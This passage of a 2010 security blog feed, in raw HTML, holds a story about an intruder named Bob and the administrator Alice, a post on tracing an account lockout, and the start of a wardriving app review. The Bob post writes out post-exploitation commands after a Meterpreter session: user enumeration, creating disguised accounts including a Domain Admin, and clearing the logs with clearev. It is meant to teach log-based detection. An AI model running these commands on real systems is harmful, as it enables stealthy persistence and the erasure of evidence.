id="BLOGGER_PHOTO_ID_5432298496775918642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Alice checks the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;helpdesk&lt;/span&gt; to see if a call was raised for a new employee called Bobby Ball, it wasn't.&lt;br /&gt;&lt;br /&gt;Next Alice can see an event 632 that shows that the new account has been added to the HR group.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NnBW5ZjPI/AAAAAAAABbc/3NbyS9xGZ-0/s1600-h/screenshot1.png"&gt;&lt;img style="cursor: pointer; width: 290px; height: 320px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NnBW5ZjPI/AAAAAAAABbc/3NbyS9xGZ-0/s320/screenshot1.png" alt="" id="BLOGGER_PHOTO_ID_5432298848562810098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;She makes a quick call to HR and finds that they know nothing of this mysterious account. Alice disables the account until she can get to the bottom of what's going on.&lt;br /&gt;&lt;br /&gt;Just as Alice finds a few minutes to spare she goes back to her logs and then her phone rings.  As she's summoned to a project meeting she thinks that the logs will have to wait.  Unfortunately the meeting takes up the rest of her day.&lt;br /&gt;&lt;br /&gt;The next day Alice gets to the office extra early so she can catch up with her tasks. However, on connecting to her server she finds the logs are almost completely empty. All the entries from the previous day had been cleared.  The oldest event is a event 517 which shows that the logs have been cleared.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2NnmsfOSDI/AAAAAAAABbk/VGCmkRZVDHY/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 289px; height: 320px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2NnmsfOSDI/AAAAAAAABbk/VGCmkRZVDHY/s320/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5432299490013759538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As Alice sits back and thinks about things she convinced that some evil hacker has tried to break into her network, she counts her lucky stars that she spotted the hackers account and disabled it quickly before any damage was done.&lt;br /&gt;&lt;br /&gt;The End&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay, I know my story is pretty crap but I bring all this log stuff up because had recently had a conversation with someone who didn't realise just how much useful information was contained in the Windows security event logs. This post is just really to highlight 2 things.  Get your logs off the server, there are plenty of great tools to do that, unfortunately they all cot a bit.  Secondly, build time into your day to analyse the logs. Find out the important events and find a way to filter the logs to spot when something is wrong.&lt;br /&gt;&lt;br /&gt;If you want to learn more about the Windows Event Logs check out Randy Franklin Smiths site &lt;a href="http://www.ultimatewindowssecurity.com/Default.aspx"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Ulitimate&lt;/span&gt; Windows Security&lt;/a&gt;.  His site is without doubt the best resource for learning about the windows security logs I have ever found, and his &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;webcasts&lt;/span&gt; are pretty amazing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5926717151204907717?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5926717151204907717/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5926717151204907717&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5926717151204907717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5926717151204907717'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-2.html' title='What Bob Did. What Alice Saw - Part 2'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/S2NlkmgYSqI/AAAAAAAABbE/ZjaCdut02Ng/s72-c/screenshot0.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2157467307197199245</id><published>2010-01-19T23:21:00.012Z</published><updated>2010-01-19T23:44:58.834Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bob Story'/><title type='text'>What Bob Did. What Alice Saw - Part 1</title><content type='html'>Recently I've been have way to much fun looking at event logs and digging out which events are indicators of a compromise.  As is typical for me I'll try to wrap some of that knowledge up into a little Bob story. So here goes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Part 1 - What Bob did.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bob has been up to his old tricks again and has found himself on the wrong side of someones firewall. Well maybe not the wrong side as far as Bob is concerned but it certainly is for Alice, our Systems Administrator.  Bob being Bob decides to start his day with a little pwnage, he hunts around for a target and after a little scanning decides to go with a wide open domain controller which he likes to call 10.0.1.233, or as Alice would call it, Server04.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob, sporting his brand new installation of BackTrack4 , decides to test drive the fantastic Fast-Track scripts.  He uses Fast-Track not because he's lazy or can't be bothered to learn Metasploit, but because he only has a few minutes before work and he needs to get his pwnage on pretty sharpish.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1Y_LIUeCyI/AAAAAAAABZs/Yk3YtfLwDXc/s1600-h/pwn.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 211px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1Y_LIUeCyI/AAAAAAAABZs/Yk3YtfLwDXc/s320/pwn.png" alt="" id="BLOGGER_PHOTO_ID_5428595861286161186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After successfully getting his Meterpreter session Bob uses the shell command to drop down to a Command prompt.  Once at the prompt he decides to list the users on the domain.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net user /domain&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1Y_ZtdVHkI/AAAAAAAABZ0/gmtDcVP6HG4/s1600-h/pwn1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 195px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1Y_ZtdVHkI/AAAAAAAABZ0/gmtDcVP6HG4/s320/pwn1.png" alt="" id="BLOGGER_PHOTO_ID_5428596111773605442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The resulting list is quite long and split into 3 columns, as Bob intends to extract the user list to use in future scripts he decides to make use of the DSQUERY command to give him the list in a nice single line list.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsquery * -filter "(&amp;amp;(objectcategory=person)(objectclass=user)(name=*))" -limit 0 -attr samaccountname&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1Y_j_UIFVI/AAAAAAAABZ8/R2GalnrxIH4/s1600-h/pwn2.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 233px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1Y_j_UIFVI/AAAAAAAABZ8/R2GalnrxIH4/s320/pwn2.png" alt="" id="BLOGGER_PHOTO_ID_5428596288365532498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;With that done Bob decides to go ahead and quickly create a couple of accounts.  He wants to create 2 accounts, one as a user because after all thats where the data is right.  The other account will be an administrative user because that will help him get to other interesting places on the network.  Another good reason for having 2 accounts is if Wallifords discover his intrusion they'll likely try to identify the intruders user account and may well stop when they find the first one.  Cunning eh!&lt;br /&gt;&lt;br /&gt;Now in the past Bob has used "Net User username password /add" to do this, but that will create an account that even the crappiest of admins will spot. What Bob needs to do is create an account that blends in with the rest of the user accounts, to do this he takes a look at a few user accounts that already exist to see what account properties are populated as standard.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsquery * -filter "(&amp;amp;(objectcategory=person)(objectclass=user)(samaccountname=jimm))" -limit 0 -attr *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZAAL6qZcI/AAAAAAAABaE/NuWdRPtVhR0/s1600-h/pwn3.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 314px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZAAL6qZcI/AAAAAAAABaE/NuWdRPtVhR0/s320/pwn3.png" alt="" id="BLOGGER_PHOTO_ID_5428596772784727490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From here Bob can see that the user Jim Morrison has a Title, Office, Display Name, telephone Number and Home Drive fields neatly populated as do many of the other users.  Armed with that knowledge Bob creates an account with DSADD that will sit nicely with the other accounts in the same Organisational Unit.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsadd user "CN=Bob Ball,OU=Internal,DC=walliford,DC=local" -Samid BobB -Pwd Eviluser123 -fn Bob -Ln Ball -Display "Bob Ball" -Office Leeds -Tel "01233 455779" -Dept HR -hmdir \\wal-filer\users\BobB -Title Manager -upn BobB@walliford.local&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZAgqdAWmI/AAAAAAAABaM/sKGCOXCEOlc/s1600-h/pwn4.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 153px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZAgqdAWmI/AAAAAAAABaM/sKGCOXCEOlc/s320/pwn4.png" alt="" id="BLOGGER_PHOTO_ID_5428597330737650274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bob checks his handy work before he moves onto his next task.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsquery * -filter "(&amp;amp;(objectcategory=person)(objectclass=user)(samaccountname=BobB))" -limit 0 -attr *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZApDzp_TI/AAAAAAAABaU/tJ6yLnqrVB4/s1600-h/pwn5.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 300px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZApDzp_TI/AAAAAAAABaU/tJ6yLnqrVB4/s320/pwn5.png" alt="" id="BLOGGER_PHOTO_ID_5428597474982493490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now Bob wants to give this user account access to some data, and that will be done by making Bob a member of some groups.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsquery * -filter "(&amp;amp;(objectcategory=group)(objectclass=group)(name=*))" -limit 0 -attr Name&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1ZA1RnunGI/AAAAAAAABac/w1d1qaEwbow/s1600-h/pwn6.png"&gt;&lt;img style="cursor: pointer; width: 317px; height: 320px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1ZA1RnunGI/AAAAAAAABac/w1d1qaEwbow/s320/pwn6.png" alt="" id="BLOGGER_PHOTO_ID_5428597684848991330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So there is the list of groups but lets take a closer look at the HR one first.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsquery * -filter "(&amp;amp;(objectcategory=group)(objectclass=group)(name=HR))" -limit 0 -attr *&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay that'll do.  Bob just needs to modify the properties with DSMOD to add his user account as a member.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsmod group "CN=HR,OU=Internal,DC=walliford,DC=local" -addmbr "CN=Bob Ball,OU=Internal,DC=walliford,DC=local"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZBMRDQkWI/AAAAAAAABak/_JrvGh0FrgY/s1600-h/pwn9.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 305px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZBMRDQkWI/AAAAAAAABak/_JrvGh0FrgY/s320/pwn9.png" alt="" id="BLOGGER_PHOTO_ID_5428598079833018722" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With that sorted Bob wants to create his admin user. hmmm something that wont stand out again. He models the account of other built-in accounts and sets his password to never expire.  Hopefully this won't raise any eyebrows.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;dsadd user "CN=Cert Owner,CN=Users,DC=walliford,DC=local" -Samid CertOwner -Pwd EvilAdmin123 -Desc "Built-in account for administering certificates" -Display "Domain Certificate Owner" -pwdneverexpires yes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Brilliant.  No need to go to town on the groups again.  This time he's adding the account straight into Domain Admins.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;net group "Domain Admins" CertOwner /add&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1ZB3cheDoI/AAAAAAAABas/UhODXWixVBs/s1600-h/pwn10.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 252px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S1ZB3cheDoI/AAAAAAAABas/UhODXWixVBs/s320/pwn10.png" alt="" id="BLOGGER_PHOTO_ID_5428598821646896770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With that done Bob decides he really needs to get off to work.&lt;br /&gt;&lt;br /&gt;Whilst Bobs at work he's slightly troubled that he may have left traces in the logs on the server he compromised.  As soon as he gets home he hops back onto the network and just for fun connect through RDP to the server to test his account.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZCV7HbzWI/AAAAAAAABa0/EQqeCHA-DXs/s1600-h/pwn12.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 259px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S1ZCV7HbzWI/AAAAAAAABa0/EQqeCHA-DXs/s320/pwn12.png" alt="" id="BLOGGER_PHOTO_ID_5428599345255271778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Works like a charm.  He has a quick look around and logs off the RDP session. Then Bob remembers what he was supposed to be doing.  He gets a new Meterpreter session up and issues the command to clear the logs&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;clearev&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZCqvZjSBI/AAAAAAAABa8/AxGZaUMWZTA/s1600-h/pwn13.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 114px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S1ZCqvZjSBI/AAAAAAAABa8/AxGZaUMWZTA/s320/pwn13.png" alt="" id="BLOGGER_PHOTO_ID_5428599702887286802" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All sorted.  Now it's dinner time, pie and chips tonight.&lt;br /&gt;&lt;br /&gt;Coming up...What Alice Saw.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2157467307197199245?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2157467307197199245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2157467307197199245&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2157467307197199245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2157467307197199245'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/01/what-bob-did-what-alice-saw-part-1.html' title='What Bob Did. What Alice Saw - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/S1Y_LIUeCyI/AAAAAAAABZs/Yk3YtfLwDXc/s72-c/pwn.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-1580351940173373503</id><published>2010-01-13T22:03:00.007Z</published><updated>2010-01-13T22:18:15.721Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='Fun Stuff'/><title type='text'>A Little Forensics Goes a Long Way</title><content type='html'>Today I had a friend complain that his user account was continually getting locked out.  I asked the usual questions and he was sure that it was not him and his fat fingers. Straight away I put my Super Admin hat on try and find out whats going on.  As a big fan of the event logs I decided to start there, and with this being an account lockout I went straight to the PDC Emulator as I knew there would be events for the account lockout in the security log.&lt;br /&gt;&lt;br /&gt;Using Microsofts free &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=7AF2E69C-91F3-4E63-8629-B999ADDE0B9E&amp;amp;displaylang=en"&gt;EventCombNT&lt;/a&gt; I specified a date range and I configure it to extract just the account lockout events from the PDC Emulator.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S05DzQErF2I/AAAAAAAABZM/85SRxe46pIs/s1600-h/202af95b153629fd07ddde3f63816383.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 232px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S05DzQErF2I/AAAAAAAABZM/85SRxe46pIs/s320/202af95b153629fd07ddde3f63816383.png" alt="" id="BLOGGER_PHOTO_ID_5426349148794984290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After EventCombNT had finished I use the fantastic free &lt;a href="http://www.mandiant.com/products/free_software/highlighter/"&gt;Highlighter&lt;/a&gt; tool from Mandiant to find all occurrences of account lockouts for this users account.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S05EO9mEMaI/AAAAAAAABZU/QcRANhoSrdA/s1600-h/6689ed0d600cf3ff4da024a0cf0871c1.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 243px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S05EO9mEMaI/AAAAAAAABZU/QcRANhoSrdA/s320/6689ed0d600cf3ff4da024a0cf0871c1.png" alt="" id="BLOGGER_PHOTO_ID_5426349624871104930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After filtering by Keyword on my friends username I see all the occurances (in red) where his name is present in the logs.  I select one of these events, highlight his name and select  "Show Only" from the context menu.&lt;br /&gt;&lt;br /&gt;﻿&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S05EpknBryI/AAAAAAAABZc/Ja-S44N3dcE/s1600-h/396ba43fad9049d3bee64e5735e0ea46.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 243px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S05EpknBryI/AAAAAAAABZc/Ja-S44N3dcE/s320/396ba43fad9049d3bee64e5735e0ea46.png" alt="" id="BLOGGER_PHOTO_ID_5426350082020716322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This removes all other events and I'm left with just the events that relate to the lockout of my friends account.  I glance down the list and quickly identify the computer which is responsible for the lockouts.  Just as my friend decides to go down there and give the user a good talking to I tell him to give me a second.  I quickly check the C:\Windows\Prefetch\ directory on the offending computer to see what programs were run at the time of the lockouts.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S05E6NyNjII/AAAAAAAABZk/xSdyYiCDI_I/s1600-h/f525354d35c25a3118dbc355c3e1d496.png"&gt;&lt;img style="cursor: pointer; width: 320px; height: 159px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S05E6NyNjII/AAAAAAAABZk/xSdyYiCDI_I/s320/f525354d35c25a3118dbc355c3e1d496.png" alt="" id="BLOGGER_PHOTO_ID_5426350367951391874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On seeing the applications listed that correspond with twe times of the lockout my friend goes  very quiet.  Then he tells me he remembers configuring software for this user.  To get the software to work he had to use his own account, and.........well you guessed it, he has since changed his password. &lt;br /&gt;&lt;br /&gt;What a nugget!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-1580351940173373503?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/1580351940173373503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=1580351940173373503&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1580351940173373503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1580351940173373503'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/01/little-forensics-goes-long-way.html' title='A Little Forensics Goes a Long Way'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/S05DzQErF2I/AAAAAAAABZM/85SRxe46pIs/s72-c/202af95b153629fd07ddde3f63816383.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5767367890704041562</id><published>2010-01-10T13:04:00.010Z</published><updated>2010-01-10T19:42:49.445Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><title type='text'>iPhone Wardriving Just Got Better</title><content type='html'>Last week I was lucky enough to recieve a blog post comment making me aware of a new iPhone wardriving app.    I did a bit of online research then went straight to the app store to download Wifi-Where to take a look for myself.&lt;br /&gt;&lt;br /&gt;Wifi-Where was very reasonable priced at £1.79 and after using it once I can say that I really think it's worth the price, if not more.  This is certainly the best app I have found for wardriving and here is why.&lt;br /&gt;&lt;br /&gt;Wifi-Where has the following features in version 1.0:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Easy to use interface&lt;/li&gt;&lt;li&gt;Continuous scanning mode&lt;/li&gt;&lt;li&gt;GPS Logging (when device supports it)&lt;/li&gt;&lt;li&gt;Save hotspots for later&lt;/li&gt;&lt;li&gt;Email scan results&lt;/li&gt;&lt;li&gt;Email attachments (OS 3.0 Only) in Net Stumbler .ns1, CSV, or Google Earth KML formats&lt;/li&gt;&lt;li&gt;Option to ignore secure networks&lt;/li&gt;&lt;li&gt;Option to ignore hidden networks&lt;/li&gt;&lt;li&gt;Option to sort by signal strength&lt;/li&gt;&lt;li&gt;Option to automatically save new networks&lt;/li&gt;&lt;li&gt;Option to beep &amp;amp; vibrate on discovery of new network (when device supports it)&lt;/li&gt;&lt;li&gt;Option to filter hotspots by signal strength and location accuracy&lt;/li&gt;&lt;li&gt;Displays detailed information about each network, including name/SSID, signal strength, raw RSSI value, security &amp;amp; authentication modes (WEP/WPA/WPA2), location, MAC address&lt;/li&gt;&lt;li&gt;Connect to hotspots&lt;/li&gt;&lt;li&gt;Save passwords for secure networks&lt;/li&gt;&lt;li&gt;Upload hotspots to popular wardriving website wigle.net&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;With the UK being hit by quite bad snow at the moment it has made for excelent wardriving weather. I can pretty much drive anywhere nice and slow taking in all the access points and nobody bats an eyelid.&lt;br /&gt;&lt;br /&gt;Now although Wifi-Where has all the features you'd expect in a decent wifi scanner,  what really sets it aside as the tool to use for wardriving is the developers have really thought about a few things, such as AP's ( I use the terms AP and access point interchangeably throughout this post) are not discarded as they drop out of range as is the case in many other wifi scanning apps. AP's within range are shown in bold and open access points are shown with a different icon and colour than secured AP's.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oJav0Sv5I/AAAAAAAABYc/NjDvd6R65aw/s1600-h/IMG_0247.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oJav0Sv5I/AAAAAAAABYc/NjDvd6R65aw/s320/IMG_0247.PNG" alt="" id="BLOGGER_PHOTO_ID_5425159056238231442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Filters can be applied to ignore secure, ad-hoc or hidden AP's and the filters can be applied to show discovered access points depending on strength and location accuracy.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oJvyJ596I/AAAAAAAABYk/YdqiWtDdAOQ/s1600-h/IMG_0251.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S0oJvyJ596I/AAAAAAAABYk/YdqiWtDdAOQ/s320/IMG_0251.PNG" alt="" id="BLOGGER_PHOTO_ID_5425159417643005858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Other features that make this my wardriving app of choice is during a scan all areas of the screen are disabled except for a small stop button in the corner. This is great as the phone will keep scanning if I accidentally touch the screen. Even more useful I can put my phone in my pocket as I scan without worrying about knocking the screen.&lt;br /&gt;&lt;br /&gt;The features are very well documented in the app itself and can  be easily viewed by select the info icon in the top right on the screen.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S0oKRdRsKTI/AAAAAAAABYs/WDemihaS75A/s1600-h/IMG_0253.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S0oKRdRsKTI/AAAAAAAABYs/WDemihaS75A/s320/IMG_0253.PNG" alt="" id="BLOGGER_PHOTO_ID_5425159996154063154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Other features such as locking the UI and beep or vibrate on discovery are easily configurable.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S0oLOB3OK-I/AAAAAAAABY0/KjOx0TA3-Tw/s1600-h/IMG_0250.PNG"&gt;&lt;img style="cursor: pointer; width: 214px; height: 320px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S0oLOB3OK-I/AAAAAAAABY0/KjOx0TA3-Tw/s320/IMG_0250.PNG" alt="" id="BLOGGER_PHOTO_ID_5425161036767308770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The export capabilities in Wifi-Where are just as 